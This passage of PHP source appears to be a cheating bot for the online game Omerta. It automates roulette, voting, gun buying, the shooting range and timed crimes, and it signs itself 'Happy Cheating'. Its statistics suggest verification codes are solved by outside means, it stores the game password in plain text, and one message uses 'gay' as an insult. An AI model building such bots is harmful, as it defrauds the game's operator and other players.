  3763.         }
  3764.         stillLoggedIn($res);
  3765.         $res = removeBetween('<--', '-->', $res);
  3766.         $res = removeBetween('<!--', '-->', $res);
  3767.         checkRoul($res);
  3768.  
  3769.         $winningNumber = trim(getBetween($res, '<b style="font-size: 40;">', '</b>'));
  3770.  
  3771.         if (substr_count($res, '<font color=red>') == 1) {
  3772.             output("Lost your bet of $gambleamount the winning number was $winningNumber",
  3773.                 "Roulette");
  3774.             if ($nr == 36)
  3775.                 output("Lost 36 times $gambleamount will stop now :(", "Roulette");
  3776.         }
  3777.         if (substr_count($res, '<font color=green>') == 1) {
  3778.             $winningAmount = findinside('<font color=green>', '</font></b></center>', $res);
  3779.             output("You won $winningAmount[0] after $nr tries.", "Roulette");
  3780.             return;
  3781.         }
  3782.         if (substr_count($res, $vers['text']['got enough cash to do this']) == 1) {
  3783.             output("Not enough cash anymore :(", "Roulette");
  3784.             return;
  3785.         }
  3786.         if (substr_count($res, 'You can only gamble for') == 1) {
  3787.             output("Gay owner lowered maxbet so need to stop gambling :(", "Roulette");
  3788.             return;
  3789.         }
  3790.  
  3791.  
  3792.         $nr++;
  3793.         sleep(rand(2, 5));
  3794.     }
  3795.  
  3796. } // end gambleRoul($res,$casinoLink)
  3797.  
  3798.  
  3799. function displayStats()
  3800. {
  3801.     global $stats;
  3802.     echo "---===Current Script Statistics===---\r\n";
  3803.     output($stats['code']['typer'], "Codes (Typer)");
  3804.     output($stats['code']['cache'], "Codes (Cache)");
  3805.     output($stats['code']['wrong'], "Codes (Wrong)");
  3806.     output($stats['code']['total'], "Codes (Total)");
  3807.     echo "\r\n";
  3808.     output($stats['crimes']['successful'], "Crimes (Successful)");
  3809.     output($stats['crimes']['failed'], "Crimes (Failed)");
  3810.     output($stats['crimes']['caught'], "Crimes (Caught)");
  3811.     output($stats['crimes']['foot'], "Crimes (Foot)");
  3812.     output($stats['crimes']['total'], "Crimes (Total)");
  3813.     echo "\r\n";
  3814.     output($stats['nick']['successful'], "Nick (Successful)");
  3815.     output($stats['nick']['failed'], "Nick (Failed)");
  3816.     output($stats['nick']['caught'], "Nick (Caught)");
  3817.     output($stats['nick']['total'], "Nick (Total)");
  3818.     echo "---===Current Script Statistics===---\r\n";
  3819. } //displayStats
  3820. function loadStats()
  3821. {
  3822.     global $stats;
  3823.     if (!file_exists('stats.txt')) {
  3824.         $stats['code']['wrong'] = 0;
  3825.         $stats['code']['typer'] = 0;
  3826.         $stats['code']['cache'] = 0;
  3827.         $stats['code']['total'] = 0;
  3828.         $stats['crimes']['total'] = 0;
  3829.         $stats['crimes']['successful'] = 0;
  3830.         $stats['crimes']['failed'] = 0;
  3831.         $stats['crimes']['caught'] = 0;
  3832.         $stats['crimes']['foot'] = 0;
  3833.         $stats['nick']['total'] = 0;
  3834.         $stats['nick']['successful'] = 0;
  3835.         $stats['nick']['failed'] = 0;
  3836.         $stats['nick']['caught'] = 0;
  3837.     } else {
  3838.         parse_str(file_get_contents('stats.txt'), $stats);
  3839.     } //else
  3840. } //loadStats
  3841.  
  3842. function saveStats()
  3843. {
  3844.     global $stats;
  3845.     $string = "code[wrong]=" . $stats['code']['wrong'] . "&code[typer]=" . $stats['code']['typer'] .
  3846.         "&code[cache]=" . $stats['code']['cache'] . "&code[total]=" . $stats['code']['total'] .
  3847.         "&crimes[total]=" . $stats['crimes']['total'] . "&crimes[successful]=" . $stats['crimes']['successful'] .
  3848.         "&crimes[failed]=" . $stats['crimes']['failed'] . "&crimes[caught]=" . $stats['crimes']['caught'] .
  3849.         "&crimes[foot]=" . $stats['crimes']['foot'] . "&nick[total]=" . $stats['nick']['total'] .
  3850.         "&nick[successful]=" . $stats['nick']['successful'] . "&nick[failed]=" . $stats['nick']['failed'] .
  3851.         "&nick[caught]=" . $stats['nick']['caught'];
  3852.     write2file('stats.txt', $string);
  3853.     $page = "<HTML>
  3854. <HEAD>
  3855. <title>Script Stats</title>
  3856. <LINK REL=StyleSheet HREF=\"http://www.3nvisi0n.net/Enigma/static/css/game/style.css\" TYPE=\"text/css\" >
  3857. <style type=\"text/css\">
  3858. <!--
  3859. .style1 {font-size: 24px}
  3860. -->
  3861. </style>
  3862. </HEAD>
  3863. <BODY bgcolor=\"#ffffff\">
  3864. <center>
  3865.  <p class=\"style1\">Omerta Enigma - Script Statistics</p>
  3866.  <table width=\"60%\" height=\"23\" border=\"0\">
  3867.    <tr>
  3868.      <th width=\"31%\"><table class=thinline width=\"277\" border=\"0\" align=\"center\">
  3869.        <tr>
  3870.          <td width=\"269\" height=\"12\" class=tableheader><div align=\"center\">Codes</div></td>
  3871.        </tr>
  3872.        <tr>
  3873.          <td><table width=\"95%\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\">
  3874.              <tr>
  3875.                <td width=\"37%\"><div align=\"center\"><strong>By Typer </strong></div></td>
  3876.                <td width=\"63%\"><div align=\"left\">" . $stats['code']['typer'] .
  3877.         "</div></td>
  3878.              </tr>
  3879.              <tr>
  3880.                <td><div align=\"center\"><strong>From Cache </strong></div></td>
  3881.                <td><div align=\"left\">" . $stats['code']['cache'] .
  3882.         "</div></td>
  3883.              </tr>
  3884.              <tr>
  3885.                <td><div align=\"center\"><strong>Wrong </strong></div></td>
  3886.                <td><div align=\"left\">" . $stats['code']['wrong'] .
  3887.         "</div></td>
  3888.              </tr>
  3889.              <tr>
  3890.                <td><div align=\"center\"><strong>Total</strong></div></td>
  3891.                <td><div align=\"left\">" . $stats['code']['total'] .
  3892.         "</div></td>
  3893.              </tr>
  3894.          </table></td>
  3895.        </tr>
  3896.      </table>
  3897.        <center>
  3898.          </center>
  3899.        <p><br>
  3900.      </p>            
  3901.      <th width=\"37%\"><table class=thinline width=\"262\" border=\"0\" align=\"center\">
  3902.        <tr>
  3903.          <td width=\"262\" height=\"12\" class=tableheader><div align=\"center\">Crimes</div></td>
  3904.        </tr>
  3905.        <tr>
  3906.          <td><table width=\"95%\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\">
  3907.              <tr>
  3908.                <td width=\"22%\"><div align=\"center\"><strong>Successful</strong></div></td>
  3909.                <td width=\"78%\"><div align=\"left\">" . $stats['crimes']['successful'] .
  3910.         "</div></td>
  3911.              </tr>
  3912.              <tr>
  3913.                <td><div align=\"center\"><strong>Failed</strong></div></td>
  3914.                <td><div align=\"left\">" . $stats['crimes']['failed'] .
  3915.         "</div></td>
  3916.              </tr>
  3917.              <tr>
  3918.                <td><div align=\"center\"><strong>Caught</strong></div></td>
  3919.                <td><div align=\"left\">" . $stats['crimes']['caught'] .
  3920.         "</div></td>
  3921.              </tr>
  3922.              <tr>
  3923.                <td><div align=\"center\"><strong>Foot</strong></div></td>
  3924.                <td><div align=\"left\">" . $stats['crimes']['foot'] .
  3925.         "</div></td>
  3926.              </tr>
  3927.              <tr>
  3928.                <td><div align=\"center\"><strong>Total</strong></div></td>
  3929.                <td><div align=\"left\">" . $stats['crimes']['total'] .
  3930.         "</div></td>
  3931.              </tr>
  3932.          </table>
  3933.            <br>
  3934.            <em>*Caught/Foot are included in failed </em></td>
  3935.        </tr>
  3936.      </table>      
  3937.      <th width=\"32%\"><table class=thinline width=\"262\" border=\"0\" align=\"center\">
  3938.        <tr>
  3939.          <td width=\"262\" height=\"12\" class=tableheader><div align=\"center\">Car Nicks </div></td>
  3940.        </tr>
  3941.        <tr>
  3942.          <td><table width=\"95%\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\">
  3943.              <tr>
  3944.                <td width=\"37%\"><div align=\"center\"><strong>Successful</strong></div></td>
  3945.                <td width=\"63%\"><div align=\"left\">" . $stats['nick']['successful'] .
  3946.         "</div></td>
  3947.              </tr>
  3948.              <tr>
  3949.                <td><div align=\"center\"><strong>Failed</strong></div></td>
  3950.                <td><div align=\"left\">" . $stats['nick']['failed'] .
  3951.         "</div></td>
  3952.              </tr>
  3953.              <tr>
  3954.                <td><div align=\"center\"><strong>Caught</strong></div></td>
  3955.                <td><div align=\"left\">" . $stats['nick']['failed'] .
  3956.         "</div></td>
  3957.              </tr>
  3958.              <tr>
  3959.                <td><div align=\"center\"><strong>Total</strong></div></td>
  3960.                <td><div align=\"left\">" . $stats['nick']['total'] .
  3961.         "</div></td>
  3962.              </tr>
  3963.          </table>
  3964.            <br>
  3965.            <em>*Caught is included in Failed </em></td>
  3966.        </tr>
  3967.      </table>      
  3968.    </tr>
  3969.  </table>
  3970.  <br>
  3971. Happy Cheating o/  (3nvisi0n)
  3972. </center>
  3973. </body>";
  3974.     write2file('../statistics.html', $page);
  3975. }
  3976.  
  3977. function getTimers($res)
  3978. {
  3979.     global $vers;
  3980.     //playOmerta()
  3981.     ///Parse Crime Timer
  3982.     $NCA = $vers['text']['Next crime attempt'];
  3983.     $NNA = $vers['text']['Next car attempt'];
  3984.     $crime = getBetween($res,
  3985.         '<td><a href="/BeO/webroot/index.php?module=Crimes"><b>' . $NCA . '</b></a></td>
  3986. ', '<td><a href="/BeO/webroot/index.php?module=Cars"><b>' . $NNA .
  3987.         '</b></a></td>');
  3988.     if (inStr('var oTimer = new Timer("nc");', $crime)) {
  3989.         $crimeT = trim(getBetween($crime, 'var oTimer = new Timer("nc");',
  3990.             'oTimer.setRefresh(false);'));
  3991.         $timer['crime'] = getBetween($crimeT, '(', ')');
  3992.     } else
  3993.         $timer['crime'] = 0;
  3994.  
  3995.     //parse nick timer
  3996.     $nick = getBetween($res, '<td><a href="/BeO/webroot/index.php?module=Cars"><b>' .
  3997.         $NNA . '</b></a></td>',
  3998.         '<td><a href="/BeO/webroot/index.php?module=GroupCrimes"><b>' . $vers['text']['Next heist'] .
  3999.         '</b></a></td>');
  4000.     if (inStr('var oTimer = new Timer("nca");', $nick)) {
  4001.         $nickT = getBetween($nick, 'var oTimer = new Timer("nca");',
  4002.             'oTimer.setRefresh(false);');
  4003.         $timer['nick'] = getBetween($nickT, '(', ')');
  4004.     } else
  4005.         $timer['nick'] = 0;
  4006.  
  4007.     //parse flight timer
  4008.     $flight = getBetween($res, '<b>' . $vers['text']['Next flight'] .
  4009.         '</b></a></td>', '<b>' . $vers['text']['Next bullet deal'] . '</b>');
  4010.     if (inStr('var oTimer = new Timer("nf");', $flight)) {
  4011.         $flightT = getBetween($flight, 'var oTimer = new Timer("nf");',
  4012.             'oTimer.setRefresh(false);');
  4013.         $timer['flight'] = getBetween($flightT, '(', ')');
  4014.     } else
  4015.         $timer['flight'] = 0;
  4016.     return $timer;
  4017. } //getTimers
  4018.  
  4019.  
  4020. function voteForBullets()
  4021. {
  4022.     $omerta['info'] = $GLOBALS['vers']['omertaURL_NS'] . '/info.php';
  4023.     $omerta['vote'] = $GLOBALS['vers']['omertaURL_NS'] . '/vfo.php';
  4024.     $res = get($omerta['vote'], $omerta['info']);
  4025.     $res = removeBetween('<--', '-->', $res);
  4026.     $res = removeBetween('<!--', '-->', $res);
  4027.  
  4028.     if (substr_count($res, '<a href="votelot.php?vf=') == 0) {
  4029.         output("Link to vote on got changed", "Voting");
  4030.         write2file('vote.html', $res);
  4031.         sleep(18);
  4032.         die();
  4033.     }
  4034.  
  4035.     $test = findinside('<a href="votelot.php?vf=', '" target="_blank">', $res);
  4036.     output('Time to vote :)', 'Voting');
  4037.  
  4038.     for ($i = 1; $i <= (count($test) - 1); $i++)
  4039.         $ret = get($GLOBALS['vers']['omertaURL_NS'] . '/votelot.php?vf=' . trim($test[$i]),
  4040.             $omerta['vote']);
  4041.  
  4042.     output('Finished :)', 'Voting');
  4043.     write2file('lv.txt', time());
  4044. } // voteForBullets();
  4045.  
  4046. function buyGun()
  4047. {
  4048.     global $omerta, $vers;
  4049.     $done = false;
  4050.     while (!$done) {
  4051.         $res = get($omerta['shop'], $omerta['menu']);
  4052.         if (inStr($vers['text']['You have a weapon'], $res)) {
  4053.             if (!inStr('Tommy Gun Assault Rifle</td><td>$32,400</td><td><form', $res)) {
  4054.                 output("Opps, you have a weapon already, but its not a tommy, so we are upgrading you",
  4055.                     "Shop");
  4056.                 $post = "sell=weapon&action=Sell";
  4057.                 $res = post($omerta['shop'], $omerta['shop'], $post);
  4058.             } else
  4059.                 $done = true;
  4060.         } else {
  4061.             $post = "weapon=7";
  4062.             $res = post($omerta['shop'], $omerta['shop'], $post);
  4063.             $done = true;
  4064.         }
  4065.     }
  4066. }
  4067.  
  4068. function checkVote()
  4069. {
  4070.     $lastVote = @file_get_contents('lv.txt');
  4071.     //output($lastVote, time());
  4072.     if (time() >= ($lastVote + (24 * 60 * 60))) {
  4073.         voteForBullets();
  4074.     }
  4075. }
  4076.  
  4077. function createUserPassFile()
  4078. {
  4079.     @unlink('user_pass.txt');
  4080.     output("Creating omerta user file");
  4081.     echo "Omerta username :: ";
  4082.     $oUser = trim(clearParse(fread(STDIN, 1024)));
  4083.     echo "Omerta password :: ";
  4084.     $oPass = trim(clearParse(fread(STDIN, 1024)));
  4085.     write2file('user_pass.txt', $oUser . ':' . $oPass);
  4086.     output("File created, restarting. . .");
  4087.     die();
  4088. }
  4089. function doRange($cash, $post)
  4090. {
  4091.     global $settings, $omerta, $vers;
  4092.     //Verify initial start page
  4093.     $res = get($omerta['range'], $omerta['menu']);
  4094.     if (inStr($vers['text']['Come back in'], $res)) {
  4095.         output("To Early. . .", "Range");
  4096.         return false;
  4097.     }
  4098.     if (inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  4099.         iaminjail();
  4100.         output("In Jail. . .", "Range");
  4101.         doSelfBust($res);
  4102.         return false;
  4103.     }
  4104.  
  4105.     $check[] = "document.rangeForm.submit();";
  4106.     $check[] = "<form name=rangeForm method=POST>";
  4107.     $check[] = "<input type=hidden name=stage value=enter>";
  4108.     $check[] = "<input type=image src=/static/images/game/shootingrange/shootscircle.png width=75px hieght=75px>";
  4109.     $res2 = str_replace("'", '', $res);
  4110.     $res2 = str_replace('"', '', $res2);
  4111.     if (!inStrArray($check, $res2)) {
  4112.         output("Enter range page changed", "Range");
  4113.         return false;
  4114.     } //if
  4115.  
  4116.     if (substr_count(strtolower($res), '<form') != 1) {
  4117.         output('<form count on range enter page failed (' . substr_count(strtolower($res),
  4118.             '<form') . ')', 'Range');
  4119.         return false;
  4120.     }
  4121.     if (substr_count(strtolower($res), '<input') != 2) {
  4122.         output('<input count on range enter page failed (' . substr_count(strtolower($res),
  4123.             '<input') . ')', 'Range');
  4124.         return false;
  4125.     }
  4126.     $payment = str_replace(',', '', getBetween($res, 'owe me $', ', ' . $vers['text']['now']));
  4127.     if ($payment > $cash || $payment > $settings['maxRangeCost']) {
  4128.         output("Range is too expensive (\$ $payment)", "Range");
  4129.         return false;
  4130.     } //fi
  4131.  
  4132.     $res = post($omerta['range'], $omerta['range'], $post[0]);
  4133.     $check = array();
  4134.     $check[] = "document.rangeForm.submit();";
  4135.     $check[] = "<form name=rangeForm method=POST><input type=hidden name=stage value=select><input type=hidden name=target value=low><input type=image src=/static/images/game/shootingrange/target3.jpg></form>";
  4136.     $check[] = "<form name=rangeForm method=POST><input type=hidden name=stage value=select><input type=hidden name=target value=mid><input type=image src=/static/images/game/shootingrange/target2.jpg></form>";
  4137.     $check[] = "<form name=rangeForm method=POST><input type=hidden name=stage value=select><input type=hidden name=target value=high><input type=image src=/static/images/game/shootingrange/target1.jpg></form>";
  4138.     $res2 = str_replace("'", '', $res);
  4139.     $res2 = str_replace('"', '', $res2);
  4140.     if (!inStrArray($check, $res2)) {
  4141.         write2file('targetRange_change.html', $res2);
  4142.         output("target range page changed", "Range");
  4143.         return false;
  4144.     } //if
  4145.  
  4146.     if (substr_count(strtolower($res), '<form') != 3) {
  4147.         output('<form count on range target select page failed (' . substr_count(strtolower
  4148.             ($res), '<form') . ')', 'Range');
  4149.         return false;
  4150.     }
  4151.     if (substr_count(strtolower($res), '<input') != 9) {
  4152.         output('<input count on range target select page failed (' . substr_count(strtolower
  4153.             ($res), '<input') . ')', 'Range');
  4154.         return false;
  4155.     }
  4156.  
  4157.  
  4158.     $res = post($omerta['range'], $omerta['range'], $post[1]);
  4159.     parse_str($post[1], $parse);
  4160.     $tv = "";
  4161.     switch ($parse['target']) {
  4162.         case 'high':
  4163.             $tv = 1;
  4164.             break;
  4165.         case 'mid':
  4166.             $tv = 2;
  4167.             break;
  4168.         case 'low':
  4169.             $tv = 3;
  4170.             break;
  4171.         default:
  4172.             output("Shooting rage post[1] messed up, target= not valid", 'Range');
  4173.             break;
  4174.     }
  4175.     $check = array();
  4176.     $check[] = "document.rangeForm.submit();";
  4177.     $check[] = "<form name=rangeForm method=POST><input name=stage value=shoot><input name=target value=$tv><input name=sub value=1><input type=image src=/static/images/game/shootingrange/shootscircle.png width=75px hieght=75px>";
  4178.     $check[] = "<form name=rangeForm method=POST><input name=stage value=shoot><input name=target value=$tv><input name=sub value=2><input type=image src=/static/images/game/shootingrange/shootscircle.png width=75px hieght=75px>";
  4179.     $res2 = str_replace("'", '', $res);
  4180.     $res2 = str_replace('"', '', $res2);
  4181.     $res2 = str_replace(' type=hidden', '', $res2);
  4182.     if (!inStrArray($check, $res2)) {
  4183.         write2file('subRange_change.html', $res2);
  4184.         output("Sub select range page changed", "Range");
  4185.         return false;
  4186.     } //if
  4187.  
  4188.     if (substr_count(strtolower($res), '<form') != 2) {
  4189.         output('<form count on range enter page failed (' . substr_count(strtolower($res),
  4190.             '<form') . ')', 'Range');
  4191.         return false;
  4192.     }
  4193.     if (substr_count(strtolower($res), '<input') != 8) {
  4194.         output('<input count on range enter page failed (' . substr_count(strtolower($res),
  4195.             '<input') . ')', 'Range');
  4196.         return false;
  4197.     }
  4198.     $res = post($omerta['range'], $omerta['range'], $post[2]);
  4199.     if (!inStr($vers['text']['Kill Skill'], $res)) {
  4200.         output("hmm, result page changed", 'Range');
  4201.         return false;
  4202.     }
  4203.     $gain = getBetween($res, $vers['text']['You have gained'], $vers['text']['Kill Skill']);
  4204.     output("Your kill skill increased $gain", "Range");
  4205.     return true;
  4206. }
  4207.  
  4208. function logoutOmerta()
  4209. {
  4210.     global $settings, $omerta;
  4211.     $res = get($GLOBALS['vers']['omertaURL_NS'] . "/game-login.php?logout=yes", $GLOBALS['vers']['omertaURL_NS'] .
  4212.         "");
  4213.  
  4214.     $checkArray = array('<title>Omerta',
  4215.         '<form method="post" action="game-login.php">');
  4216.  
  4217.     if (inStrArray($checkArray, $res)) {
  4218.         output("Logout succeeded", "Sleeping");
  4219.         return;
  4220.     } else {
  4221.         output("Logout went wrong (stopping script)", "Sleeping");
  4222.         die();
  4223.     }
  4224.  
  4225. }
  4226.  
  4227. function sleeping()
  4228. {
  4229.     global $omerta, $settings, $scriptSite, $startSleep;
  4230.     if (($startSleep < time()) && ($startSleep > 6000)) {
  4231.         $sleeptime = time() + ($settings['sleepingT'] * 60);
  4232.         $datesleep = date("d/m G:i:s", $sleeptime);
  4233.         output("Sleeping until $datesleep", "Sleeping");
  4234.         logoutOmerta();
  4235.         $remainingsleep = $settings['sleepingT'] * 60;
  4236.         while ($sleeptime > time()) {
  4237.             sleep(60);
  4238.             $remainingsleep = $remainingsleep - 60;
  4239.             output("Sleeping, will start ranking again in $remainingsleep seconds ($datesleep)",
  4240.                 "Sleeping");
  4241.         }
  4242.         if ($sleeptime < time()) {
  4243.             output("Goodmorning beauty, lets login and rank again \o/", "Sleeping");
  4244.         }
  4245.         #Get a new sleeptime
  4246.        $year = date("Y", time());
  4247.         $day = date("j", time()) + 1;
  4248.         $month = date("m", time());
  4249.         $startSleep = mktime($settings['sleepingH'], $settings['sleepingM'], 0, $month,
  4250.             $day, $year);
  4251.  
  4252.  
  4253.         login2Omerta();
  4254.     }
  4255. }
  4256. function parsePages()
  4257. {
  4258.     global $omerta, $vers;
  4259.     $omertaURL = $vers['omertaURL'];
  4260.     $res = get($omertaURL . "menu.php", $omertaURL . "index.php");
  4261.     $exp = explode("<tr><td><a class=\"menuLink\" ", $res);
  4262.     $links = array();
  4263.     foreach ($exp as $link) {
  4264.         if ($link{0} = 'h') {
  4265.             $links[strtolower(trim(getBetween($link, '>', '</a>')))] = trim(getBetween($link,
  4266.                 'href="', '"'));
  4267.             $links[strtolower(trim(getBetween($link, '>', '</a>')))] = str_replace('./', $omertaURL,
  4268.                 $links[strtolower(trim(getBetween($link, '>', '</a>')))]);
  4269.         }
  4270.     }
  4271.     foreach ($vers['links'] as $key => $val) {
  4272.         $omerta[$key] = $links[$val];
  4273.     }
  4274.     $omerta['menu'] = $omertaURL . "menu.php";
  4275.     $checkArray = array('function logout() {',
  4276.         'if(confirm("Are you sure you want to log out?")) parent.top.location.href = \'./game-login.php?logout=yes\';');
  4277.  
  4278.     if (!inStrArray($checkArray, $res)) {
  4279.         write2file("logoutMD5.txt", md5($res) . "\r\n" . $res);
  4280.         output("Menu.php (logout) changed", "Login");
  4281.         sleep(10);
  4282.         die();
  4283.     }
  4284. }
  4285. function setVersion($version)
  4286. {
  4287.     global $vers;
  4288.    
  4289.     switch (strtolower($version)) {
  4290.             //to add a version just chage values :)
  4291.         case "dm":
  4292.             $vers['version'] = 'dm';
  4293.             $vers['omertaURL'] = "http://dm.barafranca.com/";
  4294.             $vers['omertaURL_NS'] = "http://dm.barafranca.com"; //no slash
  4295.            
  4296.             //Text
  4297.             $vers['links']['crimes'] = "crimes";
  4298.             $vers['links']['carNick'] = "nick a car";
  4299.             $vers['links']['status'] = "status";
  4300.             $vers['links']['smuggling'] = "smuggling";
  4301.             $vers['links']['inbox'] = "inbox";
  4302.             $vers['links']['travel'] = "travel";
  4303.             $vers['links']['jail'] = "jail";
  4304.             $vers['links']['blood'] = "bloodbank";
  4305.             $vers['links']['bullets'] = "bullets";
  4306.             $vers['links']['shop'] = "shop/market";
  4307.             $vers['links']['gamble'] = "gambling district";
  4308.             $vers['links']['range'] = "shooting range";
  4309.  
  4310.             //buyBooze
  4311.             $vers['text']['hold'] = "hold "; //From booze/narcs "hold ## units" requires space at end
  4312.             $vers['text']['units of booze'] = ' units of booze'; //requires beginning space
  4313.             $vers['text']['beer'] = "Beer";
  4314.             $vers['text']['You only have the ability'] =
  4315.                 'You only have the ability'; //Error Message to buying too much b/n
  4316.             $vers['text']['Jail'] = "Jail";
  4317.             $vers['text']['The code you'] = "The code you"; //Wrong Coode booze error message
  4318.  
  4319.             //bloodbuy
  4320.             $vers['text']["You don't have enough"] = "You don't have enough";
  4321.                 //Booze/Blood not enuf cash err message
  4322.             $vers['text']['You are in jail for the next'] = 'You are in jail for the next'; //In jail msg
  4323.             $vers['text']['Sorry, you can only buy blood once every 45 minutes.'] =
  4324.                 'Sorry, you can only buy blood once every 45 minutes.'; //Blood early error msg
  4325.             $vers['text']['bought'] = 'bought'; //blood
  4326.  
  4327.             //buyBullets
  4328.             $vers['text']["You've got"] = "You've got $"; //bullet page
  4329.             $vers['text']['in your pocket'] = ' in your pocket'; //requires beginning space
  4330.             $vers['text']["You don't have"] = "You don't have";
  4331.             $vers['text']['This factory does'] = "This factory does"; //Factory outta bullets after purchase attempt
  4332.             $vers['text']['The price per bullet just'] = 'The price per bullet just';
  4333.             $vers['text']['Success, you bought '] = 'Success, you bought '; //requires end space
  4334.             $vers['text']['The code you verified'] = 'The code you verified'; //Bullet wrong code err msg
  4335.  
  4336.             //buyCocaine
  4337.             $vers['text']['units of narcotics'] = ' units of narcotics'; //requires beginning space
  4338.             $vers['text']['Cocaine'] = "Cocaine";
  4339.  
  4340.             //buyGun
  4341.             $vers['text']['You have a weapon'] = 'You have a weapon';
  4342.  
  4343.             //carNick
  4344.             $vers['text']['tired'] = "tired"; //Too early error msg
  4345.  
  4346.             //checkGambling
  4347.             $vers['text']['Gambling District'] = "Gambling District";
  4348.  
  4349.             //checkRoul
  4350.             $vers['text']['even'] = "Even";
  4351.             $vers['text']['red'] = "Red";
  4352.             $vers['text']['black'] = "Black";
  4353.             $vers['text']['odd'] = "Odd";
  4354.             $vers['text']['Gamble'] = "Gamble";
  4355.  
  4356.             //clicklimitCheck
  4357.             $vers['text']['clicklimit'] = "clicklimit."; //requires period '.'
  4358.  
  4359.             //crime
  4360.             $vers['text']['made'] = 'made';
  4361.             $vers['text']['done'] = 'done'; //From Well done! on successful bottle
  4362.             $vers['text']['foot'] = 'foot'; //Shot foot
  4363.  
  4364.             //doBust
  4365.             $vers['text']["You are not"] = "You are not"; //You are not in jail, during busting
  4366.             $vers['text']["freed"] = "freed"; //on already busted person
  4367.             $vers['text']["You busted"] = "You busted"; //on successful jail bust
  4368.  
  4369.             //doRange
  4370.             $vers['text']['Come back in'] = 'Come back in'; //Too early for range msg
  4371.             $vers['text']['owe me'] = 'owe me $';
  4372.             $vers['text']['Kill Skill'] = 'Kill Skill'; //on successful shoot
  4373.             $vers['text']['You have gained'] = 'You have gained '; //ending space necessary
  4374.  
  4375.             //doSelfBust
  4376.             $vers['text']['Click here to buy yourself out for $ '] =
  4377.                 'Click here to buy yourself out for $ '; //end space neessary
  4378.             $vers['text']['Try it'] = 'Try it'; //from injail  page
  4379.  
  4380.             //gambleRoul
  4381.             $vers['text']['Maximum Bet on numbers'] = 'Maximum Bet on numbers:'; //roulette page
  4382.             $vers['text']['got enough cash to do this'] = 'got enough cash to do this'; //Not enuf cash
  4383.             $vers['text']['You can only gamble for'] = 'You can only gamble for'; //max bet
  4384.  
  4385.  
  4386.             //getBulletAmmount
  4387.             $vers['text']['There are'] = 'There are ';
  4388.                 //There are ## bullets in factory, end space required
  4389.  
  4390.             //getTimers (status page)
  4391.             $vers['text']['Next crime attempt'] = 'Next crime attempt';
  4392.             $vers['text']['Next car attempt'] = 'Next car attempt';
  4393.             $vers['text']['Next heist'] = 'Next heist';
  4394.             $vers['text']['Next flight'] = 'Next flight';
  4395.             $vers['text']['Next bullet deal'] = 'Next bullet deal';
  4396.  
  4397.             //getinbox
  4398.             $vers['text']['Bustout'] = 'Bustout!'; //exclaimation point '!' required
  4399.             $vers['text']['Bailed'] = 'Bailed!'; //exclaimation point '!' required
  4400.  
  4401.             //parseHealth (Status page)
  4402.             $vers['text']['Rank progress'] = 'Rank progress';
  4403.             $vers['text']['Killing skill'] = 'Killing skill';
  4404.  
  4405.             //parseNickResults
  4406.             $vers['text']['Success'] = 'Success: you stole a';
  4407.             $vers['text']['with'] = 'with'; //with %% damage
  4408.             $vers['text']['worth'] = 'worth'; //worth $ ##,###
  4409.  
  4410.             //parseStatus
  4411.             $vers['text']['now'] = 'now'; //lowercase
  4412.             $vers['text']['Now'] = 'Now'; //proper case
  4413.             $vers['text']['gress'] = 'gress'; //last part of the word progress in 'rank progress'
  4414.             $vers['text']['health'] = 'health'; //must be lowercase
  4415.             $vers['text']['rank'] = 'rank'; //must be lowercase
  4416.             $vers['text']['Cash'] = 'Cash';
  4417.             $vers['text']['Jailbusting Skill'] = 'Jailbusting Skill';
  4418.             $vers['text']['Family'] = 'Family';
  4419.             $vers['text']['Capo'] = 'Capo';
  4420.             $vers['text']['Level'] = 'Level'; //From user level ie. Donater
  4421.             $vers['text']['Start'] = 'Start'; //From start date
  4422.             $vers['text']['Plane'] = 'Plane';
  4423.             $vers['text']['None'] = 'None';
  4424.             $vers['text']['Nextflight'] = 'Nextflight'; //No space
  4425.             $vers['text']['Booze'] = 'Booze'; //replybo
  4426.                 $vers['text']['Delete'] = "Delete"; //this is an alttext viewable in page source
  4427.             $vers['text']['Message'] = 'Message';
  4428.  
  4429.             //sellBooze
  4430.             $vers['text']['Wine'] = 'Wine';
  4431.             $vers['text']['Cognac'] = 'Cognac';
  4432.             $vers['text']['Whiskey'] = 'Whiskey';
  4433.             $vers['text']['Amaretto'] = 'Amaretto';
  4434.             $vers['text']['Beer'] = 'Beer';
  4435.             $vers['text']['Port'] = 'Port';
  4436.             $vers['text']['Rum'] = 'Rum';
  4437.  
  4438.             //sellStuff
  4439.             $vers['text']['Morphine'] = 'Morphine';
  4440.             $vers['text']['Heroin'] = 'Heroin';
  4441.             $vers['text']['Opium'] = 'Opium';
  4442.             $vers['text']['Marihuana'] = 'Marihuana';
  4443.             $vers['text']['Tabacco'] = 'Tabacco';
  4444.             $vers['text']['Glue'] = 'Glue';
  4445.  
  4446.             //stillLoggedIn
  4447.             $vers['text']['loginCheck'] =
  4448.                 "Omerta is a text-based massive multiplayer RPG game, based on the stories about the legendary don Barafranca";
  4449.             //Above is some text from the login page
  4450.  
  4451.             //verifyReplyBo (Send Message Page)
  4452.             $vers['text']['Send'] = 'Send'; //button text
  4453.         break;
  4454.         case "com":
  4455.             $vers['version'] = 'com';
  4456.             $vers['omertaURL'] = "http://www.barafranca.com/";
  4457.             $vers['omertaURL_NS'] = "http://www.barafranca.com"; //no slash
  4458.            
  4459.             //Text
  4460.             $vers['links']['crimes'] = "crimes";
  4461.             $vers['links']['carNick'] = "nick a car";
  4462.             $vers['links']['status'] = "status";
  4463.             $vers['links']['smuggling'] = "smuggling";
  4464.             $vers['links']['inbox'] = "inbox";
  4465.             $vers['links']['travel'] = "travel";
  4466.             $vers['links']['jail'] = "jail";
  4467.             $vers['links']['blood'] = "bloodbank";
  4468.             $vers['links']['bullets'] = "bullets";
  4469.             $vers['links']['shop'] = "shop/market";
  4470.             $vers['links']['gamble'] = "gambling district";
  4471.             $vers['links']['range'] = "shooting range";
  4472.  
  4473.             //buyBooze
  4474.             $vers['text']['hold'] = "hold "; //From booze/narcs "hold ## units" requires space at end
  4475.             $vers['text']['units of booze'] = ' units of booze'; //requires beginning space
  4476.             $vers['text']['beer'] = "Beer";
  4477.             $vers['text']['You only have the ability'] =
  4478.                 'You only have the ability'; //Error Message to buying too much b/n
  4479.             $vers['text']['Jail'] = "Jail";
  4480.             $vers['text']['The code you'] = "The code you"; //Wrong Coode booze error message
  4481.  
  4482.             //bloodbuy
